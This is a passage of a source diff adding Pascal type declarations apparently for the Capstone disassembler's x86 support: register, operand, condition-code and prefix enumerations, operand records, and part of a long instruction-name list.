X86_REG_SI, + X86_REG_SIL, X86_REG_SP, X86_REG_SPL, X86_REG_SS, X86_REG_CR0, + X86_REG_CR1, X86_REG_CR2, X86_REG_CR3, X86_REG_CR4, X86_REG_CR5, + X86_REG_CR6, X86_REG_CR7, X86_REG_CR8, X86_REG_CR9, X86_REG_CR10, + X86_REG_CR11, X86_REG_CR12, X86_REG_CR13, X86_REG_CR14, X86_REG_CR15, + X86_REG_DR0, X86_REG_DR1, X86_REG_DR2, X86_REG_DR3, X86_REG_DR4, + X86_REG_DR5, X86_REG_DR6, X86_REG_DR7, X86_REG_FP0, X86_REG_FP1, + X86_REG_FP2, X86_REG_FP3, X86_REG_FP4, X86_REG_FP5, X86_REG_FP6, X86_REG_FP7, + X86_REG_K0, X86_REG_K1, X86_REG_K2, X86_REG_K3, X86_REG_K4, + X86_REG_K5, X86_REG_K6, X86_REG_K7, X86_REG_MM0, X86_REG_MM1, + X86_REG_MM2, X86_REG_MM3, X86_REG_MM4, X86_REG_MM5, X86_REG_MM6, + X86_REG_MM7, X86_REG_R8, X86_REG_R9, X86_REG_R10, X86_REG_R11, + X86_REG_R12, X86_REG_R13, X86_REG_R14, X86_REG_R15, + X86_REG_ST0, X86_REG_ST1, X86_REG_ST2, X86_REG_ST3, + X86_REG_ST4, X86_REG_ST5, X86_REG_ST6, X86_REG_ST7, + X86_REG_XMM0, X86_REG_XMM1, X86_REG_XMM2, X86_REG_XMM3, X86_REG_XMM4, + X86_REG_XMM5, X86_REG_XMM6, X86_REG_XMM7, X86_REG_XMM8, X86_REG_XMM9, + X86_REG_XMM10, X86_REG_XMM11, X86_REG_XMM12, X86_REG_XMM13, X86_REG_XMM14, + X86_REG_XMM15, X86_REG_XMM16, X86_REG_XMM17, X86_REG_XMM18, X86_REG_XMM19, + X86_REG_XMM20, X86_REG_XMM21, X86_REG_XMM22, X86_REG_XMM23, X86_REG_XMM24, + X86_REG_XMM25, X86_REG_XMM26, X86_REG_XMM27, X86_REG_XMM28, X86_REG_XMM29, + X86_REG_XMM30, X86_REG_XMM31, X86_REG_YMM0, X86_REG_YMM1, X86_REG_YMM2, + X86_REG_YMM3, X86_REG_YMM4, X86_REG_YMM5, X86_REG_YMM6, X86_REG_YMM7, + X86_REG_YMM8, X86_REG_YMM9, X86_REG_YMM10, X86_REG_YMM11, X86_REG_YMM12, + X86_REG_YMM13, X86_REG_YMM14, X86_REG_YMM15, X86_REG_YMM16, X86_REG_YMM17, + X86_REG_YMM18, X86_REG_YMM19, X86_REG_YMM20, X86_REG_YMM21, X86_REG_YMM22, + X86_REG_YMM23, X86_REG_YMM24, X86_REG_YMM25, X86_REG_YMM26, X86_REG_YMM27, + X86_REG_YMM28, X86_REG_YMM29, X86_REG_YMM30, X86_REG_YMM31, X86_REG_ZMM0, + X86_REG_ZMM1, X86_REG_ZMM2, X86_REG_ZMM3, X86_REG_ZMM4, X86_REG_ZMM5, + X86_REG_ZMM6, X86_REG_ZMM7, X86_REG_ZMM8, X86_REG_ZMM9, X86_REG_ZMM10, + X86_REG_ZMM11, X86_REG_ZMM12, X86_REG_ZMM13, X86_REG_ZMM14, X86_REG_ZMM15, + X86_REG_ZMM16, X86_REG_ZMM17, X86_REG_ZMM18, X86_REG_ZMM19, X86_REG_ZMM20, + X86_REG_ZMM21, X86_REG_ZMM22, X86_REG_ZMM23, X86_REG_ZMM24, X86_REG_ZMM25, + X86_REG_ZMM26, X86_REG_ZMM27, X86_REG_ZMM28, X86_REG_ZMM29, X86_REG_ZMM30, + X86_REG_ZMM31, X86_REG_R8B, X86_REG_R9B, X86_REG_R10B, X86_REG_R11B, + X86_REG_R12B, X86_REG_R13B, X86_REG_R14B, X86_REG_R15B, X86_REG_R8D, + X86_REG_R9D, X86_REG_R10D, X86_REG_R11D, X86_REG_R12D, X86_REG_R13D, + X86_REG_R14D, X86_REG_R15D, X86_REG_R8W, X86_REG_R9W, X86_REG_R10W, + X86_REG_R11W, X86_REG_R12W, X86_REG_R13W, X86_REG_R14W, X86_REG_R15W, + + X86_REG_ENDING // <-- mark the end of the list of registers + ); + + //> Operand type for instruction's operands + x86_op_type = ( + X86_OP_INVALID = 0, // = CS_OP_INVALID (Uninitialized). + X86_OP_REG, // = CS_OP_REG (Register operand). + X86_OP_IMM, // = CS_OP_IMM (Immediate operand). + X86_OP_MEM_, // = CS_OP_MEM (Memory operand). + X86_OP_FP // = CS_OP_FP (Floating-Point operand). + ); + + //> AVX broadcast type + x86_avx_bcast = ( + X86_AVX_BCAST_INVALID = 0, // Uninitialized. + X86_AVX_BCAST_2, // AVX512 broadcast type {1to2} + X86_AVX_BCAST_4, // AVX512 broadcast type {1to4} + X86_AVX_BCAST_8, // AVX512 broadcast type {1to8} + X86_AVX_BCAST_16 // AVX512 broadcast type {1to16} + ); + + //> SSE Code Condition type + x86_sse_cc = ( + X86_SSE_CC_INVALID = 0, // Uninitialized. + X86_SSE_CC_EQ, + X86_SSE_CC_LT, + X86_SSE_CC_LE, + X86_SSE_CC_UNORD, + X86_SSE_CC_NEQ, + X86_SSE_CC_NLT, + X86_SSE_CC_NLE, + X86_SSE_CC_ORD, + X86_SSE_CC_EQ_UQ, + X86_SSE_CC_NGE, + X86_SSE_CC_NGT, + X86_SSE_CC_FALSE, + X86_SSE_CC_NEQ_OQ, + X86_SSE_CC_GE, + X86_SSE_CC_GT, + X86_SSE_CC_TRUE + ); + + //> AVX Code Condition type + x86_avx_cc = ( + X86_AVX_CC_INVALID = 0, // Uninitialized. + X86_AVX_CC_EQ, + X86_AVX_CC_LT, + X86_AVX_CC_LE, + X86_AVX_CC_UNORD, + X86_AVX_CC_NEQ, + X86_AVX_CC_NLT, + X86_AVX_CC_NLE, + X86_AVX_CC_ORD, + X86_AVX_CC_EQ_UQ, + X86_AVX_CC_NGE, + X86_AVX_CC_NGT, + X86_AVX_CC_FALSE, + X86_AVX_CC_NEQ_OQ, + X86_AVX_CC_GE, + X86_AVX_CC_GT, + X86_AVX_CC_TRUE, + X86_AVX_CC_EQ_OS, + X86_AVX_CC_LT_OQ, + X86_AVX_CC_LE_OQ, + X86_AVX_CC_UNORD_S, + X86_AVX_CC_NEQ_US, + X86_AVX_CC_NLT_UQ, + X86_AVX_CC_NLE_UQ, + X86_AVX_CC_ORD_S, + X86_AVX_CC_EQ_US, + X86_AVX_CC_NGE_UQ, + X86_AVX_CC_NGT_UQ, + X86_AVX_CC_FALSE_OS, + X86_AVX_CC_NEQ_OS, + X86_AVX_CC_GE_OQ, + X86_AVX_CC_GT_OQ, + X86_AVX_CC_TRUE_US + ); + + //> AVX static rounding mode type + x86_avx_rm = ( + X86_AVX_RM_INVALID = 0, // Uninitialized. + X86_AVX_RM_RN, // Round to nearest + X86_AVX_RM_RD, // Round down + X86_AVX_RM_RU, // Round up + X86_AVX_RM_RZ // Round toward zero + ); + + //> Instruction prefixes - to be used in cs_x86.prefix[] + x86_prefix = ( + X86_PREFIX_LOCK = $f0, // lock (cs_x86.prefix[0] + X86_PREFIX_REP = $f3, // rep (cs_x86.prefix[0] + X86_PREFIX_REPNE = $f2, // repne (cs_x86.prefix[0] + + X86_PREFIX_CS = $2e, // segment override CS (cs_x86.prefix[1] + X86_PREFIX_SS = $36, // segment override SS (cs_x86.prefix[1] + X86_PREFIX_DS = $3e, // segment override DS (cs_x86.prefix[1] + X86_PREFIX_ES = $26, // segment override ES (cs_x86.prefix[1] + X86_PREFIX_FS = $64, // segment override FS (cs_x86.prefix[1] + X86_PREFIX_GS = $65, // segment override GS (cs_x86.prefix[1] + + X86_PREFIX_OPSIZE = $66, // operand-size override (cs_x86.prefix[2] + X86_PREFIX_ADDRSIZE = $67 // address-size override (cs_x86.prefix[3] + ); + + x86_op_mem = record + segment: Cardinal; + base: Cardinal; + index: Cardinal; + scale: integer; + disp: Int64; + end; + + __cs_x86_op = record + _type: Integer; // x86_op_type + case Byte of + 0: (reg: Cardinal); + 1: (imm: Int64); + 2: (fp: Double); + 3: (mem: x86_op_mem); + end; + cs_x86_op = record + op: __cs_x86_op; + size: Byte; + avx_bcast: Integer; // x86_avx_bcast + avx_zero_opmask: boolean; + end; + + cs_x86 = record + // Instruction prefix, which can be up to 4 bytes. + // A prefix byte gets value 0 when irrelevant. + // prefix[0] indicates REP/REPNE/LOCK prefix (See X86_PREFIX_REP/REPNE/LOCK above) + // prefix[1] indicates segment override (irrelevant for x86_64): + // See X86_PREFIX_CS/SS/DS/ES/FS/GS above. + // prefix[2] indicates operand-size override (X86_PREFIX_OPSIZE) + // prefix[3] indicates address-size override (X86_PREFIX_ADDRSIZE) + prefix: array[0..3] of Byte; + // Instruction opcode, wich can be from 1 to 4 bytes in size. + // This contains VEX opcode as well. + // An trailing opcode byte gets value 0 when irrelevant. + opcode: array[0..3] of Byte; + // REX prefix: only a non-zero value is relavant for x86_64 + rex: Byte; + // Address size, which can be overrided with above prefix[5]. + addr_size: Byte; + modrm: Byte; + sib: Byte; + disp: Integer; + sib_index: Integer; // x86_reg + sib_scale: Integer; // int8_t + sib_base: Integer; // x86_reg + sse_cc: Integer; // x86_sse_cc + avx_cc: Integer; // x86_avx_cc + avx_sae: LongBool; + avx_rm: Integer; // x86_avx_rm + op_count: Byte; + operands: array[0..7] of cs_x86_op; + end; + + //> X86 instructions + x86_insn = ( + X86_INS_INVALID = 0, + + X86_INS_AAA, + X86_INS_AAD, + X86_INS_AAM, + X86_INS_AAS, + X86_INS_FABS, + X86_INS_ADC, + X86_INS_ADCX, + X86_INS_ADD, + X86_INS_ADDPD, + X86_INS_ADDPS, + X86_INS_ADDSD, + X86_INS_ADDSS, + X86_INS_ADDSUBPD, + X86_INS_ADDSUBPS, + X86_INS_FADD, + X86_INS_FIADD, + X86_INS_FADDP, + X86_INS_ADOX, + X86_INS_AESDECLAST, + X86_INS_AESDEC, + X86_INS_AESENCLAST, + X86_INS_AESENC, + X86_INS_AESIMC, + X86_INS_AESKEYGENASSIST, + X86_INS_AND, + X86_INS_ANDN, + X86_INS_ANDNPD, + X86_INS_ANDNPS, + X86_INS_ANDPD, + X86_INS_ANDPS, + X86_INS_ARPL, + X86_INS_BEXTR, + X86_INS_BLCFILL, + X86_INS_BLCI, + X86_INS_BLCIC, + X86_INS_BLCMSK, + X86_INS_BLCS, + X86_INS_BLENDPD, + X86_INS_BLENDPS, + X86_INS_BLENDVPD, + X86_INS_BLENDVPS, + X86_INS_BLSFILL, + X86_INS_BLSI, + X86_INS_BLSIC, + X86_INS_BLSMSK, + X86_INS_BLSR, + X86_INS_BOUND, + X86_INS_BSF, + X86_INS_BSR, + X86_INS_BSWAP, + X86_INS_BT, + X86_INS_BTC, + X86_INS_BTR, + X86_INS_BTS, + X86_INS_BZHI, + X86_INS_CALL, + X86_INS_CBW, + X86_INS_CDQ, + X86_INS_CDQE, + X86_INS_FCHS, + X86_INS_CLAC, + X86_INS_CLC, + X86_INS_CLD, + X86_INS_CLFLUSH, + X86_INS_CLGI, + X86_INS_CLI, + X86_INS_CLTS, + X86_INS_CMC, + X86_INS_CMOVA, + X86_INS_CMOVAE, + X86_INS_CMOVB, + X86_INS_CMOVBE, + X86_INS_FCMOVBE, + X86_INS_FCMOVB, + X86_INS_CMOVE, + X86_INS_FCMOVE, + X86_INS_CMOVG, + X86_INS_CMOVGE, + X86_INS_CMOVL, + X86_INS_CMOVLE, + X86_INS_FCMOVNBE, + X86_INS_FCMOVNB, + X86_INS_CMOVNE, + X86_INS_FCMOVNE, + X86_INS_CMOVNO, + X86_INS_CMOVNP, + X86_INS_FCMOVNU, + X86_INS_CMOVNS, + X86_INS_CMOVO, + X86_INS_CMOVP, + X86_INS_FCMOVU, + X86_INS_CMOVS, + X86_INS_CMP, + X86_INS_CMPPD, + X86_INS_CMPPS, + X86_INS_CMPSB, + X86_INS_CMPSD, + X86_INS_CMPSQ, + X86_INS_CMPSS, + X86_INS_CMPSW, + X86_INS_CMPXCHG16B, + X86_INS_CMPXCHG, + X86_INS_CMPXCHG8B, + X86_INS_COMISD, + X86_INS_COMISS, + X86_INS_FCOMP, + X86_INS_FCOMPI, + X86_INS_FCOMI, + X86_INS_FCOM, + X86_INS_FCOS, + X86_INS_CPUID, + X86_INS_CQO, + X86_INS_CRC32, + X86_INS_CVTDQ2PD, + X86_INS_CVTDQ2PS, + X86_INS_CVTPD2DQ, + X86_INS_CVTPD2PS, + X86_INS_CVTPS2DQ, + X86_INS_CVTPS2PD, + X86_INS_CVTSD2SI, + X86_INS_CVTSD2SS, + X86_INS_CVTSI2SD, + X86_INS_CVTSI2SS, + X86_INS_CVTSS2SD, + X86_INS_CVTSS2SI, + X86_INS_CVTTPD2DQ, + X86_INS_CVTTPS2DQ, + X86_INS_CVTTSD2SI, + X86_INS_CVTTSS2SI, + X86_INS_CWD, + X86_INS_CWDE, + X86_INS_DAA, + X86_INS_DAS, + X86_INS_DATA16, + X86_INS_DEC, + X86_INS_DIV, + X86_INS_DIVPD, + X86_INS_DIVPS, + X86_INS_FDIVR, + X86_INS_FIDIVR, + X86_INS_FDIVRP, + X86_INS_DIVSD, + X86_INS_DIVSS, + X86_INS_FDIV, + X86_INS_FIDIV, + X86_INS_FDIVP, + X86_INS_DPPD, + X86_INS_DPPS, + X86_INS_RET, + X86_INS_ENCLS, + X86_INS_ENCLU, + X86_INS_ENTER, + X86_INS_EXTRACTPS, + X86_INS_EXTRQ, + X86_INS_F2XM1, + X86_INS_LCALL, + X86_INS_LJMP, + X86_INS_FBLD, + X86_INS_FBSTP, + X86_INS_FCOMPP, + X86_INS_FDECSTP, + X86_INS_FEMMS, + X86_INS_FFREE, + X86_INS_FICOM, + X86_INS_FICOMP, + X86_INS_FINCSTP, + X86_INS_FLDCW, + X86_INS_FLDENV, + X86_INS_FLDL2E, + X86_INS_FLDL2T, + X86_INS_FLDLG2, + X86_INS_FLDLN2, + X86_INS_FLDPI, + X86_INS_FNCLEX, + X86_INS_FNINIT, + X86_INS_FNOP, + X86_INS_FNSTCW, + X86_INS_FNSTSW, + X86_INS_FPATAN, + X86_INS_FPREM, + X86_INS_FPREM1, + X86_INS_FPTAN, + X86_INS_FRNDINT, + X86_INS_FRSTOR, + X86_INS_FNSAVE, + X86_INS_FSCALE, + X86_INS_FSETPM, + X86_INS_FSINCOS, + X86_INS_FNSTENV, + X86_INS_FXAM, + X86_INS_FXRSTOR, + X86_INS_FXRSTOR64, + X86_INS_FXSAVE, + X86_INS_FXSAVE64, + X86_INS_FXTRACT, + X86_INS_FYL2X, + X86_INS_FYL2XP1, + X86_INS_MOVAPD, + X86_INS_MOVAPS, + X86_INS_ORPD, + X86_INS_ORPS, + X86_INS_VMOVAPD, + X86_INS_VMOVAPS, + X86_INS_XORPD, + X86_INS_XORPS, + X86_INS_GETSEC, + X86_INS_HADDPD, + X86_INS_HADDPS, + X86_INS_HLT, + X86_INS_HSUBPD, + X86_INS_HSUBPS, + X86_INS_IDIV, + X86_INS_FILD, + X86_INS_IMUL, + X86_INS_IN, + X86_INS_INC, + X86_INS_INSB, + X86_INS_INSERTPS, + X86_INS_INSERTQ, + X86_INS_INSD, + X86_INS_INSW, + X86_INS_INT, + X86_INS_INT1, + X86_INS_INT3, + X86_INS_INTO, + X86_INS_INVD, + X86_INS_INVEPT, + X86_INS_INVLPG, + X86_INS_INVLPGA, + X86_INS_INVPCID, + X86_INS_INVVPID, + X86_INS_IRET, + X86_INS_IRETD, + X86_INS_IRETQ, + X86_INS_FISTTP, + X86_INS_FIST, + X86_INS_FISTP, + X86_INS_UCOMISD, + X86_INS_UCOMISS, + X86_INS_VCMP, + X86_INS_VCOMISD, + X86_INS_VCOMISS, + X86_INS_VCVTSD2SS, + X86_INS_VCVTSI2SD, + X86_INS_VCVTSI2SS, + X86_INS_VCVTSS2SD, + X86_INS_VCVTTSD2SI, + X86_INS_VCVTTSD2USI, + X86_INS_VCVTTSS2SI, + X86_INS_VCVTTSS2USI, + X86_INS_VCVTUSI2SD, + X86_INS_VCVTUSI2SS, + X86_INS_VUCOMISD, + X86_INS_VUCOMISS, + X86_INS_JAE, + X86_INS_JA, + X86_INS_JBE, + X86_INS_JB, + X86_INS_JCXZ, + X86_INS_JECXZ, + X86_INS_JE, + X86_INS_JGE, + X86_INS_JG, + X86_INS_JLE, + X86_INS_JL, + X86_INS_JMP, + X86_INS_JNE, + X86_INS_JNO, + X86_INS_JNP, + X86_INS_JNS, + X86_INS_JO, + X86_INS_JP, + X86_INS_JRCXZ, + X86_INS_JS, + X86_INS_KANDB, + X86_INS_KANDD, + X86_INS_KANDNB, + X86_INS_KANDND, + X86_INS_KANDNQ, + X86_INS_KANDNW, + X86_INS_KANDQ, + X86_INS_KANDW, + X86_INS_KMOVB, + X86_INS_KMOVD, + X86_INS_KMOVQ, + X86_INS_KMOVW, + X86_INS_KNOTB, + X86_INS_KNOTD, + X86_INS_KNOTQ, + X86_INS_KNOTW, + X86_INS_KORB, + X86_INS_KORD, + X86_INS_KORQ, + X86_INS_KORTESTW, + X86_INS_KORW, + X86_INS_KSHIFTLW, + X86_INS_KSHIFTRW, + X86_INS_KUNPCKBW, + X86_INS_KXNORB, + X86_INS_KXNORD, + X86_INS_KXNORQ, + X86_INS_KXNORW, + X86_INS_KXORB, + X86_INS_KXORD, + X86_INS_KXORQ, + X86_INS_KXORW, + X86_INS_LAHF, + X86_INS_LAR, + X86_INS_LDDQU, + X86_INS_LDMXCSR, + X86_INS_LDS, + X86_INS_FLDZ, + X86_INS_FLD1, + X86_INS_FLD, + X86_INS_LEA, + X86_INS_LEAVE, + X86_INS_LES, + X86_INS_LFENCE, + X86_INS_LFS, + X86_INS_LGDT, + X86_INS_LGS, + X86_INS_LIDT, + X86_INS_LLDT, + X86_INS_LMSW, + X86_INS_OR, + X86_INS_SUB, + X86_INS_XOR, + X86_INS_LODSB, + X86_INS_LODSD, + X86_INS_LODSQ, + X86_INS_LODSW, + X86_INS_LOOP, + X86_INS_LOOPE, + X86_INS_LOOPNE, + X86_INS_RETF, + X86_INS_RETFQ, + X86_INS_LSL, + X86_INS_LSS, + X86_INS_LTR, + X86_INS_XADD, + X86_INS_LZCNT, + X86_INS_MASKMOVDQU, + X86_INS_MAXPD, + X86_INS_MAXPS, + X86_INS_MAXSD, + X86_INS_MAXSS, + X86_INS_MFENCE, + X86_INS_MINPD, + X86_INS_MINPS, + X86_INS_MINSD, + X86_INS_MINSS, + X86_INS_CVTPD2PI, + X86_INS_CVTPI2PD, + X86_INS_CVTPI2PS, + X86_INS_CVTPS2PI, + X86_INS_CVTTPD2PI, + X86_INS_CVTTPS2PI, + X86_INS_EMMS, + X86_INS_MASKMOVQ, + X86_INS_MOVD, + X86_INS_MOVDQ2Q, + X86_INS_MOVNTQ, + X86_INS_MOVQ2DQ, + X86_INS_MOVQ, + X86_INS_PABSB, + X86_INS_PABSD, + X86_INS_PABSW, + X86_INS_PACKSSDW, + X86_INS_PACKSSWB, + X86_INS_PACKUSWB, + X86_INS_PADDB, + X86_INS_PADDD, + X86_INS_PADDQ, + X86_INS_PADDSB, + X86_INS_PADDSW, + X86_INS_PADDUSB, + X86_INS_PADDUSW, + X86_INS_PADDW, + X86_INS_PALIGNR, + X86_INS_PANDN, + X86_INS_PAND, + X86_INS_PAVGB, + X86_INS_PAVGW, + X86_INS_PCMPEQB, + X86_INS_PCMPEQD, + X86_INS_PCMPEQW, + X86_INS_PCMPGTB, + X86_INS_PCMPGTD, + X86_INS_PCMPGTW, + X86_INS_PEXTRW, + X86_INS_PHADDSW, + X86_INS_PHADDW, + X86_INS_PHADDD, + X86_INS_PHSUBD, + X86_INS_PHSUBSW, + X86_INS_PHSUBW, + X86_INS_PINSRW, + X86_INS_PMADDUBSW, + X86_INS_PMADDWD, + X86_INS_PMAXSW, + X86_INS_PMAXUB, + X86_INS_PMINSW, + X86_INS_PMINUB, + X86_INS_PMOVMSKB, + X86_INS_PMULHRSW, + X86_INS_PMULHUW, + X86_INS_PMULHW, + X86_INS_PMULLW, + X86_INS_PMULUDQ, + X86_INS_POR, + X86_INS_PSADBW, + X86_INS_PSHUFB, + X86_INS_PSHUFW, + X86_INS_PSIGNB, + X86_INS_PSIGND, + X86_INS_PSIGNW, + X86_INS_PSLLD, + X86_INS_PSLLQ, + X86_INS_PSLLW, + X86_INS_PSRAD, + X86_INS_PSRAW, + X86_INS_PSRLD, + X86_INS_PSRLQ, + X86_INS_PSRLW, + X86_INS_PSUBB, + X86_INS_PSUBD, + X86_INS_PSUBQ, + X86_INS_PSUBSB, + X86_INS_PSUBSW, + X86_INS_PSUBUSB, + X86_INS_PSUBUSW, + X86_INS_PSUBW, + X86_INS_PUNPCKHBW, + X86_INS_PUNPCKHDQ, + X86_INS_PUNPCKHWD, + X86_INS_PUNPCKLBW, + X86_INS_PUNPCKLDQ, + X86_INS_PUNPCKLWD, + X86_INS_PXOR, + X86_INS_MONITOR, + X86_INS_MONTMUL, + X86_INS_MOV, + X86_INS_MOVABS, + X86_INS_MOVBE, + X86_INS_MOVDDUP, + X86_INS_MOVDQA, + X86_INS_MOVDQU, + X86_INS_MOVHLPS, + X86_INS_MOVHPD, + X86_INS_MOVHPS, + X86_INS_MOVLHPS, + X86_INS_MOVLPD, + X86_INS_MOVLPS, + X86_INS_MOVMSKPD, + X86_INS_MOVMSKPS, + X86_INS_MOVNTDQA, + X86_INS_MOVNTDQ, + X86_INS_MOVNTI, + X86_INS_MOVNTPD, + X86_INS_MOVNTPS, + X86_INS_MOVNTSD, + X86_INS_MOVNTSS, + X86_INS_MOVSB, + X86_INS_MOVSD, + X86_INS_MOVSHDUP, + X86_INS_MOVSLDUP, + X86_INS_MOVSQ, + X86_INS_MOVSS, + X86_INS_MOVSW, + X86_INS_MOVSX, + X86_INS_MOVSXD, + X86_INS_MOVUPD, + X86_INS_MOVUPS, + X86_INS_MOVZX, + X86_INS_MPSADBW, + X86_INS_MUL, + X86_INS_MULPD, + X86_INS_MULPS, + X86_INS_MULSD, + X86_INS_MULSS, + X86_INS_MULX, + X86_INS_FMUL, + X86_INS_FIMUL, + X86_INS_FMULP, + X86_INS_MWAIT, + X86_INS_NEG, + X86_INS_NOP, + X86_INS_NOT, + X86_INS_OUT, + X86_INS_OUTSB, + X86_INS_OUTSD, + X86_INS_OUTSW, + X86_INS_PACKUSDW, + X86_INS_PAUSE, + X86_INS_PAVGUSB, + X86_INS_PBLENDVB, + X86_INS_PBLENDW, + X86_INS_PCLMULQDQ, + X86_INS_PCMPEQQ, + X86_INS_PCMPESTRI, + X86_INS_PCMPESTRM, + X86_INS_PCMPGTQ, + X86_INS_PCMPISTRI, + X86_INS_PCMPISTRM, + X86_INS_PDEP, + X86_INS_PEXT, + X86_INS_PEXTRB, + X86_INS_PEXTRD, + X86_INS_PEXTRQ, + X86_INS_PF2ID, + X86_INS_PF2IW, + X86_INS_PFACC, + X86_INS_PFADD, + X86_INS_PFCMPEQ, + X86_INS_PFCMPGE, + X86_INS_PFCMPGT, + X86_INS_PFMAX, + X86_INS_PFMIN, + X86_INS_PFMUL, + X86_INS_PFNACC, + X86_INS_PFPNACC, + X86_INS_PFRCPIT1, + X86_INS_PFRCPIT2, + X86_INS_PFRCP, + X86_INS_PFRSQIT1, + X86_INS_PFRSQRT, + X86_INS_PFSUBR, + X86_INS_PFSUB, + X86_INS_PHMINPOSUW, + X86_INS_PI2FD, + X86_INS_PI2FW, + X86_INS_PINSRB, + X86_INS_PINSRD, + X86_INS_PINSRQ, + X86_INS_PMAXSB, + X86_INS_PMAXSD, + X86_INS_PMAXUD, + X86_INS_PMAXUW, + X86_INS_PMINSB, + X86_INS_PMINSD, + X86_INS_PMINUD, + X86_INS_PMINUW, + X86_INS_PMOVSXBD, + X86_INS_PMOVSXBQ, + X86_INS_PMOVSXBW, + X86_INS_PMOVSXDQ, + X86_INS_PMOVSXWD, + X86_INS_PMOVSXWQ, + X86_INS_PMOVZXBD, + X86_INS_PMOVZXBQ, + X86_INS_PMOVZXBW, + X86_INS_PMOVZXDQ, + X86_INS_PMOVZXWD, + X86_INS_PMOVZXWQ, + X86_INS_PMULDQ, + X86_INS_PMULHRW, + X86_INS_PMULLD, + X86_INS_POP, + X86_INS_POPAW, + X86_INS_POPAL, + X86_INS_POPCNT, + X86_INS_POPF, + X86_INS_POPFD, + X86_INS_POPFQ, + X86_INS_PREFETCH, + X86_INS_PREFETCHNTA, + X86_INS_PREFETCHT0, + X86_INS_PREFETCHT1, + X86_INS_PREFETCHT2, + X86_INS_PREFETCHW, + X86_INS_PSHUFD, + X86_INS_PSHUFHW, + X86_INS_PSHUFLW, + X86_INS_PSLLDQ, + X86_INS_PSRLDQ, + X86_INS_PSWAPD, + X86_INS_PTEST, + X86_INS_PUNPCKHQDQ, + X86_INS_PUNPCKLQDQ, + X86_INS_PUSH, + X86_INS_PUSHAW, + X86_INS_PUSHAL, + X86_INS_PUSHF, + X86_INS_PUSHFD, + X86_INS_PUSHFQ, + X86_INS_RCL, + X86_INS_RCPPS, + X86_INS_RCPSS, + X86_INS_RCR, + X86_INS_RDFSBASE, + X86_INS_RDGSBASE, + X86_INS_RDMSR, + X86_INS_RDPMC, + X86_INS_RDRAND, + X86_INS_RDSEED, + X86_INS_RDTSC, + X86_INS_RDTSCP, + X86_INS_ROL, + X86_INS_ROR, + X86_INS_RORX, + X86_INS_ROUNDPD, + X86_INS_ROUNDPS, + X86_INS_ROUNDSD, + X86_INS_ROUNDSS, + X86_INS_RSM, + X86_INS_RSQRTPS, + X86_INS_RSQRTSS, + X86_INS_SAHF, + X86_INS_SAL, + X86_INS_SALC, + X86_INS_SAR, + X86_INS_SARX, + X86_INS_SBB, + X86_INS_SCASB, + X86_INS_SCASD, + X86_INS_SCASQ, + X86_INS_SCASW, + X86_INS_SETAE, + X86_INS_SETA, + X86_INS_SETBE, + X86_INS_SETB, + X86_INS_SETE, + X86_INS_SETGE, + X86_INS_SETG, + X86_INS_SETLE, + X86_INS_SETL, + X86_INS_SETNE, + X86_INS_SETNO, + X86_INS_SETNP, + X86_INS_SETNS, + X86_INS_SETO, + X86_INS_SETP, + X86_INS_SETS, + X86_INS_SFENCE, + X86_INS_SGDT, + X86_INS_SHA1MSG1, + X86_INS_SHA1MSG2, + X86_INS_SHA1NEXTE, + X86_INS_SHA1RNDS4, + X86_INS_SHA256MSG1, + X86_INS_SHA256MSG2, + X86_INS_SHA256RNDS2, + X86_INS_SHL, + X86_INS_SHLD, + X86_INS_SHLX, + X86_INS_SHR, + X86_INS_SHRD, + X86_INS_SHRX, + X86_INS_SHUFPD, + X86_INS_SHUFPS, + X86_INS_SIDT, + X86_INS_FSIN, + X86_INS_SKINIT, + X86_INS_SLDT, + X86_INS_SMSW, + X86_INS_SQRTPD, + X86_INS_SQRTPS, + X86_INS_SQRTSD, + X86_INS_SQRTSS, + X86_INS_FSQRT, + X86_INS_STAC, + X86_INS_STC, + X86_INS_STD, + X86_INS_STGI, + X86_INS_STI, + X86_INS_STMXCSR, + X86_INS_STOSB, + X86_INS_STOSD, + X86_INS_STOSQ, + X86_INS_STOSW, + X86_INS_STR, + X86_INS_FST, + X86_INS_FSTP, + X86_INS_FSTPNCE, + X86_INS_SUBPD, + X86_INS_SUBPS, + X86_INS_FSUBR, + X86_INS_FISUBR, + X86_INS_FSUBRP, + X86_INS_SUBSD, + X86_INS_SUBSS, + X86_INS_FSUB, + X86_INS_FISUB, + X86_INS_FSUBP, + X86_INS_SWAPGS, + X86_INS_SYSCALL, + X86_INS_SYSENTER, + X86_INS_SYSEXIT, + X86_INS_SYSRET, + X86_INS_T1MSKC, + X86_INS_TEST, + X86_INS_UD2, + X86_INS_FTST, + X86_INS_TZCNT, + X86_INS_TZMSK, + X86_INS_FUCOMPI, + X86_INS_FUCOMI, + X86_INS_FUCOMPP, + X86_INS_FUCOMP, + X86_INS_FUCOM, + X86_INS_UD2B, + X86_INS_UNPCKHPD, + X86_INS_UNPCKHPS, + X86_INS_UNPCKLPD, + X86_INS_UNPCKLPS, + X86_INS_VADDPD, + X86_INS_VADDPS, + X86_INS_VADDSD, + X86_INS_VADDSS, + X86_INS_VADDSUBPD, + X86_INS_VADDSUBPS, + X86_INS_VAESDECLAST, + X86_INS_VAESDEC, + X86_INS_VAESENCLAST, + X86_INS_VAESENC, + X86_INS_VAESIMC, + X86_INS_VAESKEYGENASSIST, + X86_INS_VALIGND, + X86_INS_VALIGNQ, + X86_INS_VANDNPD, + X86_INS_VANDNPS, + X86_INS_VANDPD, + X86_INS_VANDPS, + X86_INS_VBLENDMPD, + X86_INS_VBLENDMPS, + X86_INS_VBLENDPD, + X86_INS_VBLENDPS, + X86_INS_VBLENDVPD, + X86_INS_VBLENDVPS, + X86_INS_VBROADCASTF128, + X86_INS_VBROADCASTI128, + X86_INS_VBROADCASTI32X4, + X86_INS_VBROADCASTI64X4, + X86_INS_VBROADCASTSD, + X86_INS_VBROADCASTSS, + X86_INS_VCMPPD, + X86_INS_VCMPPS, + X86_INS_VCMPSD, + X86_INS_VCMPSS, + X86_INS_VCVTDQ2PD, + X86_INS_VCVTDQ2PS, + X86_INS_VCVTPD2DQX, + X86_INS_VCVTPD2DQ, + X86_INS_VCVTPD2PSX, + X86_INS_VCVTPD2PS, + X86_INS_VCVTPD2UDQ, + X86_INS_VCVTPH2PS, + X86_INS_VCVTPS2DQ, + X86_INS_VCVTPS2PD, + X86_INS_VCVTPS2PH, + X86_INS_VCVTPS2UDQ, + X86_INS_VCVTSD2SI, + X86_INS_VCVTSD2USI, + X86_INS_VCVTSS2SI, + X86_INS_VCVTSS2USI, + X86_INS_VCVTTPD2DQX, + X86_INS_VCVTTPD2DQ, + X86_INS_VCVTTPD2UDQ, + X86_INS_VCVTTPS2DQ, + 